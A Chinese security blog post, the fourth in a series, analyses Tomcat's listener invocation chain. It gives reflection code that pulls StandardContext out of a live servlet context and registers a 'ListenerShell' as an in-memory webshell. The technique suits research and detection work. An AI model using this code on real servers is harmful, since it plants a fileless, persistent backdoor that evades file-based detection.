java内存马分析(四) Listener内存马

admin 2025年2月24日11:58:24评论8 views字数 1322阅读4分24秒阅读模式

今天没有前言,直接开摆。

java内存马分析(四) Listener内存马

小弟水平有限,如有不对欢迎指出,以免误人子弟。

相关代码都放在 https://github.com/safe6Sec/MemoryShell

基础知识

还是继续补充上篇文章没讲到的知识点。

网上找了一张图,上面没有Listener,我加了一下。

这期间主要流程大概就是调用各个管道的invoke方法之后,开始依次调用执行listener->filter->servlet

java内存马分析(四) Listener内存马

这里只需要对invoke方法有印象就行

原理分析

下面就照着上篇文章的方法,加一个正常的Listener(怎么加自己去研究吧),然后断点看堆栈。

如下图可见,四个invoke就是上面说的几个管道,管道之后就经过一个方法就到了,我们自己加的listener了。然后进入看看

java内存马分析(四) Listener内存马

进来后发现,就是直接调用对应listener#requestInitialized方法。

java内存马分析(四) Listener内存马

向上分析这个方法,发现是通过getApplicationEventListeners拿到全部的listeners然后进行循环调用requestInitialized

java内存马分析(四) Listener内存马

点进去看getApplicationEventListeners方法的实现,发现很简单就是把list转成数组

java内存马分析(四) Listener内存马

java内存马分析(四) Listener内存马

这就意味着我们只需要把listener加到applicationEventListenersList即可实现内存马的添加。

先看看有没有现成的方法可用,实在没有再用反射实现。找了一下,发现还真有,那么代码就更加简单了。

java内存马分析(四) Listener内存马

代码实现

老规矩先拿上下文

           //先拿到ServletContext            ServletContext servletContext = req.getServletContext();            Field appctx =servletContext.getClass().getDeclaredField("context");            appctx.setAccessible(true);            //从ServletContext里面拿到ApplicationContext            ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);            Field atx= applicationContext.getClass().getDeclaredField("context");            atx.setAccessible(true);            //从ApplicationContext里面拿到StandardContext            StandardContext standardContext = (StandardContext) atx.get(applicationContext);

随后创建一个Listener内存马添加即可

            //准备listener马            ListenerShell listenerShell = new ListenerShell();            //添加到上下文            standardContext.addApplicationEventListener(listenerShell);

没毛病,很简单。

java内存马分析(四) Listener内存马

原文始发于微信公众号(safe6安全的成长日记):java内存马分析(四) Listener内存马

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月24日11:58:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   java内存马分析(四) Listener内存马https://cn-sec.com/archives/863254.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息